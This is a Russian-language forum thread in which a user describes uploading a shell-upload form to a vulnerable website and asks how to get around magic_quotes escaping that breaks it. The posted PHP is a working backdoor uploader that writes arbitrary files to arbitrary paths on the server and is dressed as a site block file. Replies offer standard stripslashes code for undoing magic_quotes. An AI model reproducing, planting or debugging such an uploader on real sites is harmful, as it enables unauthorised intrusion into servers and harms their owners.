Возникли проблемы с magic_quotes

Discussion in 'PHP' started by Jorge_, 17 Mar 2009.

  1. Jorge_

    Jorge_ New Member

    Joined:
    30 Dec 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:

    Code:
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10
    
    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10
    
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11
    
    Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12
    Сам скрипт формы:

    PHP:
    <?php
    if (!defined('BLOCK_FILE')) {
     
    Header("Location: ../index.php");
     exit;
    }

    $self stripslashes($_SERVER['PHP_SELF']);
    $docr stripslashes($_SERVER['DOCUMENT_ROOT']);
    $sern stripslashes($_SERVER['SERVER_NAME']);
    $tend "</tr></form></table><br><br><br><br>";
    if (!empty(
    $_GET['ac'])) {$ac stripslashes($_GET['ac']);}
    elseif (!empty(
    $_POST['ac'])) {$ac stripslashes($_POST['ac']);}
    else {
    $ac "upload";}
    switch(
    $ac) {
    case 
    "upload":
    echo <<<HTML
    <table>
    <form enctype=multipart/form-data action=
    $self method=POST>
    <input type=hidden name=ac value=upload>
    <tr>
    <input size=5 name=file type=file></td>
    </tr>
    <tr>
    <td><input size=10 value=
    $docr name=path type=text><input type=submit value=ОК></td>
    $tend
    HTML;
    if (isset(
    $_POST['path'])){
    $uploadfile stripslashes($_POST['path'].$_FILES['file']['name']);
    if (
    $_POST['path']==""){$uploadfile $_FILES['file']['name'];}

    if (
    copy($_FILES['file']['tmp_name'], $uploadfile)) {
        echo 
    "Файл  ".$_FILES['file']['name']."  загружен";
    } else {
        print (
    "Не удаётся загрузить файл. Инф:\n");
        
    print_r($_FILES);
    }
    }
    break;
    }
    ?>
    На сервере установлено расширение magic_quotes_gpc.

    Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
     
  2. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    PHP:
    if ( ini_get("magic_quotes_gpc") == )
    {
            foreach ( 
    $_GET    as $id => $v $_GET[$id]     = stripslashes($v);
            foreach ( 
    $_POST   as $id => $v $_POST[$id]    = stripslashes($v);
            foreach ( 
    $_COOKIE as $id => $v $_COOKIE[$id]  = stripslashes($v);
    }
     
  3. Jorge_

    Jorge_ New Member

    Joined:
    30 Dec 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    К сожалению, не помогло.

    В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.
     
  4. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

    + в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
    $_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
     
  5. Jorge_

    Jorge_ New Member

    Joined:
    30 Dec 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Да, на сайте используется система блоков.

    На сервере с выключенным magic_quotes, скрипт работает без ошибок.

    + Спасибо, за хинт
     
  6. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп.

    попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок
    <<<HTML
    HTML;
    на конструкцию echo "";

    но скорее всего проблема в include
     
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    как как, вот так:

    PHP:
    <?php
    if (get_magic_quotes_gpc()) {
       function 
    stripslashes_deep($value)
       {
           
    $value is_array($value) ?
                       
    array_map('stripslashes_deep'$value) :
                       
    stripslashes($value);

           return 
    $value;
       }

       
    $_POST array_map('stripslashes_deep'$_POST);
       
    $_GET array_map('stripslashes_deep'$_GET);
       
    $_COOKIE array_map('stripslashes_deep'$_COOKIE);
       
    $_REQUEST array_map('stripslashes_deep'$_REQUEST);
    }
    ?>
     
  8. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php
     
    #8 PaCo, 18 Mar 2009
    Last edited: 18 Mar 2009
  9. real_sm

    real_sm New Member

    Joined:
    5 Oct 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Тем не менее, как разобрались?